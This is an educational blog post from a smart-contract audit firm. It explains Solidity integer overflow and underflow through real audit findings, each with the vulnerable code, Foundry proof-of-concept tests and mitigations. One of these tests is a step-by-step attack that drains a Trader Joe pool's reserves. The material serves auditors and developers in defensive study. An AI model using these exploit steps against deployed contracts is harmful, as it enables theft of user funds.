Back to Blog
Overflow & Underflow in Solidity: Real Audit Findings, Code Examples & Practice Exercise
SolidityWeb3 SecurityAudit

Overflow & Underflow in Solidity: Real Audit Findings, Code Examples & Practice Exercise

19 min
Improve your knowledge on overflow and underflow vulnerabilities by going through an explanation, known high and medium issues from real audits, and an exercise to practice.
In this article, I have gathered an explanation for a very popular vulnerability in Solidity, a few high and medium issues that are not a one-time thing but that you will potentially find in other protocols during your next audits.
And I am adding an exercise to practice what you have learned.
This is part of a series of articles where I am going to go through some of the most popular attack vectors.

Content


Description

uint8 overflow and underflow circular diagram
In Solidity you're going to mainly see uint data types used instead of int like in many other programming languages.
What does that imply?
That, as you see in the picture above, when you have a variable of type uint8, its maximum value is 2^8 - 1, or 255.
And if you add 1 to 255, the result is not going to be 256 but 0. That is what is known as overflow.
Similarly, if you deduct 1 from a uint8 = 0, and taking into account that uint data types only hold positive numbers, the result will be 255. This is known as underflow.
Now, this applies to all uint sizes, so don't think it's any different with uint256. For instance, adding 3 to its maximum number: 2^256 + 3 = 2.
Related: Underflow isn't just a math error — it can freeze entire protocols. Read Denial of Service Attacks on Smart Contracts to see how a missing bounds check before a subtraction locked all deposits and withdrawals in a real DeFi vault.

Types of high issues

1. Silent overflow

Title: Risk of silent overflow in reserves update Project: Caviar Private Pools

What is Silent Overflow?

Silent overflow occurs when casting is attempted from a larger type that holds a value bigger than the smaller type's max value. For example, using a wrapper such as uint128(tokenIds) when the value was previously declared as uint256.
Here is a simple demonstration in Remix:
1function silentOverflow(uint16 num) pure external returns (uint8) {
2 return uint8(num);
3}
Passing 1000 as the parameter for silentOverflow returns 232.

Code with vulnerability

1function buy(
2 uint256[] calldata tokenIds,
3 uint256[] calldata tokenWeights,
4 MerkleMultiProof calldata proof
5)
6 public
7 payable
8 returns (uint256 netInputAmount, uint256 feeAmount, uint256 protocolFeeAmount)
9{
10 // ~~~ Checks ~~~ //
11
12 // calculate the sum of weights of the NFTs to buy
13 uint256 weightSum = sumWeightsAndValidateProof(tokenIds, tokenWeights, proof);
14
15 // calculate the required net input amount and fee amount
16 (netInputAmount, feeAmount, protocolFeeAmount) = buyQuote(weightSum);
17 ...
18 // update the virtual reserves
19 virtualBaseTokenReserves += uint128(netInputAmount - feeAmount - protocolFeeAmount);
20 virtualNftReserves -= uint128(weightSum);
21 ...
22}
23
24function sell(
25 uint256[] calldata tokenIds,
26 uint256[] calldata tokenWeights,
27 MerkleMultiProof calldata proof,
28 IStolenNftOracle.Message[] memory stolenNftProofs
29) public returns (uint256 netOutputAmount, uint256 feeAmount, uint256 protocolFeeAmount) {
30 // ~~~ Checks ~~~ //
31
32 // calculate the sum of weights of the NFTs to sell
33 uint256 weightSum = sumWeightsAndValidateProof(tokenIds, tokenWeights, proof);
34
35 // calculate the net output amount and fee amount
36 (netOutputAmount, feeAmount, protocolFeeAmount) = sellQuote(weightSum);
37
38 ...
39
40 // ~~~ Effects ~~~ //
41
42 // update the virtual reserves
43 virtualBaseTokenReserves -= uint128(netOutputAmount + protocolFeeAmount + feeAmount);
44 virtualNftReserves += uint128(weightSum);
45
46 ...
47}

Vulnerability description

The buy() and sell() functions update the virtualBaseTokenReserves and virtualNftReserves variables during each trade.
However, these two variables are of type uint128, while the values that update them are of type uint256.
This means that casting to a lower type is necessary, but this casting is performed without first checking that the values being cast can fit into the lower type.
As a result, there is a risk of a silent overflow occurring during the casting process.

Impact

If the reserves variables are updated with a silent overflow, it can lead to a breakdown of the xy=k equation. This would result in a totally incorrect price calculation, causing potential financial losses for users or pool owners.

Proof of concept

Consider the scenario with a base token that has a high decimals number described in the next test (add it to test/PrivatePool/Buy.t.sol):
1function test_Overflow() public {
2 // Setting up pool and base token HDT with high decimals number - 30
3 // Initial balance of pool - 10 NFT and 100_000_000 HDT
4 HighDecimalsToken baseToken = new HighDecimalsToken();
5 privatePool = new PrivatePool(
6 address(factory),
7 address(royaltyRegistry),
8 address(stolenNftOracle)
9 );
10 privatePool.initialize(
11 address(baseToken),
12 nft,
13 100_000_000 * 1e30,
14 10 * 1e18,
15 changeFee,
16 feeRate,
17 merkleRoot,
18 true,
19 false
20 );
21
22 // Minting NFT on pool address
23 for (uint256 i = 100; i < 110; i++) {
24 milady.mint(address(privatePool), i);
25 }
26 // Adding 8 NFT ids into the buying array
27 for (uint256 i = 100; i < 108; i++) {
28 tokenIds.push(i);
29 }
30 // Saving K constant (xy) value before the trade
31 uint256 kBefore = uint256(privatePool.virtualBaseTokenReserves()) *
32 uint256(privatePool.virtualNftReserves());
33
34 // Minting enough HDT tokens and approving them for pool address
35 (uint256 netInputAmount,, uint256 protocolFeeAmount) = privatePool.buyQuote(8 * 1e18);
36 deal(address(baseToken), address(this), netInputAmount);
37 baseToken.approve(address(privatePool), netInputAmount);
38
39 privatePool.buy(tokenIds, tokenWeights, proofs);
40
41 // Saving K constant (xy) value after the trade
42 uint256 kAfter = uint256(privatePool.virtualBaseTokenReserves()) *
43 uint256(privatePool.virtualNftReserves());
44
45 // Checking that K constant was changed due to silent overflow
46 assertEq(kBefore, kAfter, "K constant was changed");
47}
Add this contract into the end of Buy.t.sol for proper test work:
1contract HighDecimalsToken is ERC20 {
2 constructor() ERC20("High Decimals Token", "HDT", 30) {}
3}

Mitigation

Add checks that the casting value is not greater than the uint128 type max value:
1// File: PrivatePool.sol
2// Line 229: update the virtual reserves
3if (netInputAmount - feeAmount - protocolFeeAmount > type(uint128).max) revert Overflow();
4virtualBaseTokenReserves += uint128(netInputAmount - feeAmount - protocolFeeAmount);
5if (weightSum > type(uint128).max) revert Overflow();
6virtualNftReserves -= uint128(weightSum);
7
8// File: PrivatePool.sol
9// Line 322: update the virtual reserves
10if (netOutputAmount + protocolFeeAmount + feeAmount > type(uint128).max) revert Overflow();
11virtualBaseTokenReserves -= uint128(netOutputAmount + protocolFeeAmount + feeAmount);
12if (weightSum > type(uint128).max) revert Overflow();
13virtualNftReserves += uint128(weightSum);

2. Missing validation for a parameter passed to an external function

Title: Adversary can lock every deposit forever by making a deposit with _expiration = type(uint256).max Project: OpenQ

Prior information

In Solidity, for an integer type X, you can use type(X).min and type(X).max to access the minimum and maximum value representable by the type.

Code with vulnerability

1function fundBountyToken(
2 address _bountyAddress,
3 address _tokenAddress,
4 uint256 _volume,
5 uint256 _expiration,
6 string memory funderUuid
7) external payable onlyProxy {
8 IBounty bounty = IBounty(payable(_bountyAddress));
9
10 ...
11
12 require(bountyIsOpen(_bountyAddress), Errors.CONTRACT_ALREADY_CLOSED);
13
14 (bytes32 depositId, uint256 volumeReceived) = bounty.receiveFunds{
15 value: msg.value
16 }(msg.sender, _tokenAddress, _volume, _expiration);
17
18 ...
19}

Vulnerability description

DepositManagerV1 allows the caller to specify _expiration which specifies how long the deposit is locked.
An attacker can specify a deposit with _expiration = type(uint256).max which will cause an overflow in the BountyCore#getLockedFunds sub-call and permanently break refunds.
DepositManagerV1's function fundBountyToken allows the depositor to specify an _expiration which is passed directly to BountyCore's function receiveFunds().
BountyCore stores the _expiration in the expiration mapping:
1expiration[depositId] = _expiration;
When requesting a refund, getLockedFunds returns the amount of funds currently locked. The line to focus on is depositTime[depList[i]] + expiration[depList[i]]:
1function getLockedFunds(address _depositId)
2 public
3 view
4 virtual
5 returns (uint256)
6{
7 uint256 lockedFunds;
8 bytes32[] memory depList = this.getDeposits();
9 for (uint256 i = 0; i < depList.length; i++) {
10 if (
11 block.timestamp <
12 depositTime[depList[i]] + expiration[depList[i]] &&
13 tokenAddress[depList[i]] == _depositId
14 ) {
15 lockedFunds += volume[depList[i]];
16 }
17 }
18
19 return lockedFunds;
20}
An attacker can cause getLockedFunds to always revert by making a deposit in which:
1depositTime[depList[i]] + expiration[depList[i]] > type(uint256).max
causing an overflow.
To exploit this the user would make a deposit with _expiration = type(uint256).max which will cause a guaranteed overflow.
This causes DepositManagerV1's function refundDeposit to always revert, breaking all refunds.

Mitigation

Add the following check to DepositManagerV1's function fundBountyToken():
1require(_expiration <= type(uint128).max);

3. Funds stolen due to an overflow inside an unchecked block

Title: Attacker can steal entire reserves by abusing fee calculation Project: Trader Joe v2

What is the purpose of "unchecked" in Solidity?

The unchecked keyword exists to allow Solidity developers to write more efficient programs.
The default "checked" behavior costs more gas when calculating because under the hood those checks are implemented as a series of opcodes that, prior to performing the actual arithmetic, check for under/overflow and revert if it is detected.
So if you're a Solidity developer who needs to do some math in 0.8.0 or greater, and you can prove that there is no possible way for your arithmetic to under/overflow, then you can surround the arithmetic in an unchecked block.

Code with vulnerability

1function _beforeTokenTransfer(
2 address _from,
3 address _to,
4 uint256 _id,
5 uint256 _amount
6) internal override(LBToken) {
7 unchecked {
8 super._beforeTokenTransfer(_from, _to, _id, _amount);
9
10 Bin memory _bin = _bins[_id];
11
12 if (_from != _to) {
13 if (_from != address(0) && _from != address(this)) {
14 uint256 _balanceFrom = balanceOf(_from, _id);
15
16 _cacheFees(_bin, _from, _id, _balanceFrom, _balanceFrom - _amount);
17 }
18
19 if (_to != address(0) && _to != address(this)) {
20 uint256 _balanceTo = balanceOf(_to, _id);
21
22 _cacheFees(_bin, _to, _id, _balanceTo, _balanceTo + _amount);
23 }
24 }
25 }
26}

Vulnerability description

In Trader Joe, users can call mint() to provide liquidity and receive LP tokens, and burn() to return their LP tokens in exchange for underlying assets.
Users collect fees using collectFees(account, binID).
Fees are implemented using the debt model. The fundamental fee calculation is:
1function _getPendingFees(
2 Bin memory _bin,
3 address _account,
4 uint256 _id,
5 uint256 _balance
6) private view returns (uint256 amountX, uint256 amountY) {
7 Debts memory _debts = _accruedDebts[_account][_id];

Are you audit-ready?

Download the free Pre-Audit Readiness Checklist used by 30+ protocols preparing for their first audit.

No spam. Unsubscribe anytime.

1amountX = _bin.accTokenXPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET) -
2 _debts.debtX;
3amountY = _bin.accTokenYPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET) -
4 _debts.debtY;
}
1
2`accTokenXPerShare` and `accTokenYPerShare` is an ever-increasing amount that is updated when swap fees are paid to the current active bin.
3
4When liquidity is first minted to a user, the `_accruedDebts` is updated to match current `_balance * accToken*PerShare`.
5
6Without this step, a user could collect fees for the entire growth of `accToken*PerShare` from zero to current value.
7
8This is done in `_updateUserDebts()`, called by `_cacheFees()` which is called by `_beforeTokenTransfer()`, the token transfer hook triggered on mint/burn/transfer.
9
10The critical problem lies in `_beforeTokenTransfer()`'s condition block:
11
12```solidity
13if (_from != _to)
Note that if _from or _to is the LBPair contract itself, _cacheFees() won't be called on _from or _to respectively.
This was presumably done because it is not expected that the LBToken address will receive any fees. It is expected that the LBToken will only hold tokens when a user sends LP tokens to burn.
This is where the bug manifests -- the LBToken address (and 0 address) will collect freshly minted LP token's fees from 0 to the current accToken*PerShare value.

Proof of concept

The attack flow is:
  1. Transfer amount X to pair
  2. Call pair.mint() with the to address = pair address
  3. Call collectFees() with pair address as account -- pair will send fees to itself. Both OZ ERC20 and LBToken implementations allow self-transfers, which is what makes this exploit chain work
  4. Pair will now think user sent in money because the bookkeeping is wrong. _pairInformation.feesX.total is decremented in collectFees() but the balance did not change
  5. This calculation will credit the attacker with the fees collected into the pool:
1uint256 _amountIn = _swapForY
2 ? tokenX.received(_pair.reserveX, _pair.feesX.total)
3 : tokenY.received(_pair.reserveY, _pair.feesY.total);
  1. The attacker calls swap() and receives reserve assets using the fees collected
  2. Attacker calls burn(), passing their own address as _to parameter. This will successfully burn the minted tokens from step 1 and give Attacker their deposited assets
Here's the test to add in LBPair.Fees.t.sol for the PoC:
1function testAttackerStealsReserve() public {
2 uint256 amountY = 53333333333333331968;
3 uint256 amountX = 100000;
4
5 uint256 amountYInLiquidity = 100e18;
6 uint256 totalFeesFromGetSwapX;
7 uint256 totalFeesFromGetSwapY;
8
9 addLiquidity(amountYInLiquidity, ID_ONE, 5, 0);
10 uint256 id;
11 (,, id) = pair.getReservesAndId();
12
13 // swap X -> Y and accrue X fees
14 (uint256 amountXInForSwap, uint256 feesXFromGetSwap) = router.getSwapIn(pair, amountY, true);
15 totalFeesFromGetSwapX += feesXFromGetSwap;
16
17 token6D.mint(address(pair), amountXInForSwap);
18 vm.prank(ALICE);
19 pair.swap(true, DEV);
20
21 uint256 amount0In = 100e18;
22
23 uint256[] memory _ids = new uint256[](1);
24 _ids[0] = uint256(ID_ONE);
25 uint256[] memory _distributionX = new uint256[](1);
26 _distributionX[0] = uint256(Constants.PRECISION);
27 uint256[] memory _distributionY = new uint256[](1);
28 _distributionY[0] = uint256(0);
29
30 token6D.mint(address(pair), amount0In);
31 pair.mint(_ids, _distributionX, _distributionY, address(pair));
32 uint256[] memory amounts = new uint256[](1);
33 for (uint256 i; i < 1; i++) {
34 amounts[i] = pair.balanceOf(address(pair), _ids[i]);
35 }
36 uint256[] memory profit_ids = new uint256[](1);
37 profit_ids[0] = 8388608;
38 pair.collectFees(address(pair), profit_ids);
39 pair.swap(true, BOB);
40
41 pair.burn(_ids, amounts, BOB);
42}
Note that if the contract did not have the entire collectFees code in an unchecked block, the loss would be limited to the total fees accrued:
1if (amountX != 0) {
2 _pairInformation.feesX.total -= uint128(amountX);
3}
4if (amountY != 0) {
5 _pairInformation.feesY.total -= uint128(amountY);
6}
If the attacker would try to overflow the feesX or feesY totals, the call would revert.
Unfortunately, because of the unchecked block, feesX or feesY would overflow and therefore there would be no problem for an attacker to take the entire reserves.

Impact

The attacker can steal the entire reserves of the LBPair.

Mitigation

The code should not exempt any address from _cacheFees().
Even address(0) is important because the attacker can collectFees for the 0 address to overflow the FeesX or FeesY variables, even though the fees are not retrievable for them.

Types of medium issues

1. Assuming all ERC20 tokens have a similar amount of decimals

Title: changeFeeQuote will fail for low decimal ERC20 tokens Project: Caviar Private Pools

Do all ERC20 tokens have the same amount of decimals?

The answer is no, there are some exceptions:
Low decimals: Some tokens have low decimals (e.g. USDC has 6). Even more extreme, some tokens like Gemini USD only have 2 decimals. This may result in larger than expected precision loss.
High decimals: Some tokens have more than 18 decimals (e.g. YAM-V2 has 24). This may trigger unexpected reverts due to overflow, posing a liveness risk to the contract.

Vulnerability description

Private pools have a "change" fee setting that is used to charge fees when a change is executed in the pool (user swaps tokens for some tokens in the pool).
This setting is controlled by the changeFee variable, which is intended to be defined using 4 decimals of precision:
1// @notice The change/flash fee to 4 decimals of precision.
2// For example, 0.0025 ETH = 25. 500 USDC = 5_000_000.
3uint56 public changeFee;
In the case of an ERC20 this should be scaled accordingly based on the number of decimals of the token.
The implementation is defined in the changeFeeQuote function:
1function changeFeeQuote(uint256 inputAmount)
2 public
3 view
4 returns (uint256 feeAmount, uint256 protocolFeeAmount)
5{
6 // multiply the changeFee to get the fee per NFT (4 decimals of accuracy)
7 uint256 exponent = baseToken == address(0)
8 ? 18 - 4
9 : ERC20(baseToken).decimals() - 4;
10 uint256 feePerNft = changeFee * 10 ** exponent;
11
12 feeAmount = inputAmount * feePerNft / 1e18;
13 protocolFeeAmount = feeAmount * Factory(factory).protocolFeeRate() / 10_000;
14}
The main issue is that if the token decimals are less than 4, the subtraction will cause an underflow due to Solidity's default checked math, causing the whole transaction to revert.
Such tokens with low decimals exist. One major example is GUSD (Gemini dollar), which has only two decimals.
If any of these tokens are used as the base token of a pool, then any call to the change will be reverted, as the scaling of the charge fee will result in an underflow.

Proof of concept

In the following test we recreate the "Gemini dollar" token (GUSD) which has 2 decimals and create a Private Pool using it as the base token.
Any call to change or changeFeeQuote will be reverted due to an underflow error:
1function test_PrivatePool_changeFeeQuote_LowDecimalToken() public {
2 // Create a pool with GUSD which has 2 decimals
3 ERC20 gusd = new GUSD();
4
5 PrivatePool privatePool = new PrivatePool(
6 address(factory),
7 address(royaltyRegistry),
8 address(stolenNftOracle)
9 );
10 privatePool.initialize(
11 address(gusd), // address _baseToken
12 address(milady), // address _nft
13 100e18, // uint128 _virtualBaseTokenReserves
14 10e18, // uint128 _virtualNftReserves
15 500, // uint56 _changeFee
16 100, // uint16 _feeRate
17 bytes32(0), // bytes32 _merkleRoot
18 false, // bool _useStolenNftOracle
19 false // bool _payRoyalties
20 );
21
22 // The following will fail due to an underflow.
23 // Calls to `change` function will always revert.
24 vm.expectRevert();
25 privatePool.changeFeeQuote(1e18);
26}

Mitigation

The implementation of changeFeeQuote should check if the token decimals are less than 4 and handle this case by dividing by the exponent difference to correctly scale it:
1changeFee / (10 ** (4 - decimals))
For example, in the case of GUSD with 2 decimals, a changeFee value of 5000 should be treated as 0.50.

2. Neglecting the transfer fees from some ERC20 tokens

Title: Tokens with fee on transfer are not supported in PublicVault.sol Project: Astaria

Fees on Transfer

Some tokens take a transfer fee (e.g. STA, PAXG), some do not currently charge a fee but may do so in the future (e.g. USDT, USDC).
The STA transfer fee was used to drain $500k from several balancer pools.

Vulnerability description

Should a fee-on-transfer token be added to the PublicVault, the tokens will be locked in the PublicVault.sol contract. Depositors will be unable to withdraw their rewards.
In the current implementation, it is assumed that the received amount is the same as the transfer amount. However, due to how fee-on-transfer tokens work, much less will be received than what was transferred.
As a result, later users may not be able to successfully withdraw their shares, as it may revert in _redeemFutureEpoch():
1WithdrawProxy(s.epochData[epoch].withdrawProxy).mint(shares, receiver);
when WithdrawProxy is called due to insufficient balance.

Proof of concept

Fee-on-transfer scenario:
  1. Contract calls transferFrom from contractA: 100 tokens to current contract
  2. Current contract thinks it received 100 tokens
  3. It updates balances to increase by +100 tokens
  4. While actually the contract received only 90 tokens
  5. That breaks whole math for given token

Mitigation

There are two possibilities:
  1. Compare before and after balances to get the actual transferred amount
  2. Disallow tokens with fee-on-transfer mechanics to be added as tokens

Your time to practice

Since you have learned the theory and gone through some examples of high and medium severity issues, it is time for you to practice.
Use the Ethernaut tool where you actually need to hack a smart contract in order to complete the level.
Go ahead and try the Token level to prove to yourself you understand overflow and underflow.

Get in touch

At Zealynx, we specialize in smart contract security audits and vulnerability prevention. Whether you need an overflow/underflow review or a full protocol audit, our team is ready to help you ship secure code. Reach out to start the conversation.
Want to stay ahead with more in-depth analyses like this? Subscribe to our newsletter and ensure you don't miss out on future insights.

FAQ: Overflow and Underflow in Solidity

1. What is an overflow in Solidity?
An overflow occurs when an arithmetic operation produces a value that exceeds the maximum value a data type can hold. For example, adding 1 to a uint8 variable storing 255 wraps around to 0 instead of becoming 256.
2. What is an underflow in Solidity?
An underflow occurs when an arithmetic operation produces a value below the minimum value a data type can hold. For a uint8 variable storing 0, subtracting 1 wraps around to 255 because unsigned integers cannot represent negative numbers.
3. Does Solidity 0.8.0+ automatically prevent overflow and underflow?
Yes, starting from Solidity 0.8.0, arithmetic operations revert on overflow and underflow by default. However, developers can bypass this protection by wrapping operations in an unchecked block, which re-introduces the risk for gas optimization purposes.
4. What is a silent overflow and why is it dangerous?
A silent overflow happens when you cast a larger integer type (e.g., uint256) to a smaller one (e.g., uint128) and the value exceeds the smaller type's maximum. Solidity does not revert on explicit type casts, so the value silently wraps, potentially breaking critical protocol math like AMM pricing curves.
5. How do I protect my smart contracts from overflow/underflow?
Use Solidity 0.8.0+ with default checked math. When using unchecked blocks, carefully prove that overflow is impossible. When downcasting between integer sizes, always validate that the value fits in the target type before casting. Consider using SafeCast libraries for all type conversions.

Glossary

TermDefinition
OverflowA condition where an arithmetic operation produces a result larger than the maximum value the data type can store, causing the value to wrap around to zero.
UnderflowA condition where an arithmetic operation produces a result smaller than the minimum value the data type can store, causing the value to wrap to the maximum.
Unchecked BlockA Solidity 0.8.0+ feature that disables automatic overflow/underflow checks within the block for gas optimization, re-introducing wrapping behavior.
Silent OverflowAn overflow that occurs during explicit type casting (e.g., uint256 to uint128) which Solidity does not revert on, silently truncating the value.
Fee-on-TransferA token mechanism where a percentage of each transfer is taken as a fee, causing the received amount to differ from the sent amount.

Unchecked Arithmetic in Your Protocol? Get It Reviewed.

Silent overflows from unsafe downcasts and unchecked blocks in AMM pricing curves are a common source of critical findings. Our EVM audits cover every unchecked block, all explicit type casts, and fee-on-transfer token interactions where decimal math can silently wrap.

Are you audit-ready?

Download the free Pre-Audit Readiness Checklist used by 30+ protocols preparing for their first audit.

No spam. Unsubscribe anytime.

oog
zealynx

Smart Contract Security Digest

Monthly exploit breakdowns, audit checklists, and DeFi security research — straight to your inbox

© 2026 Zealynx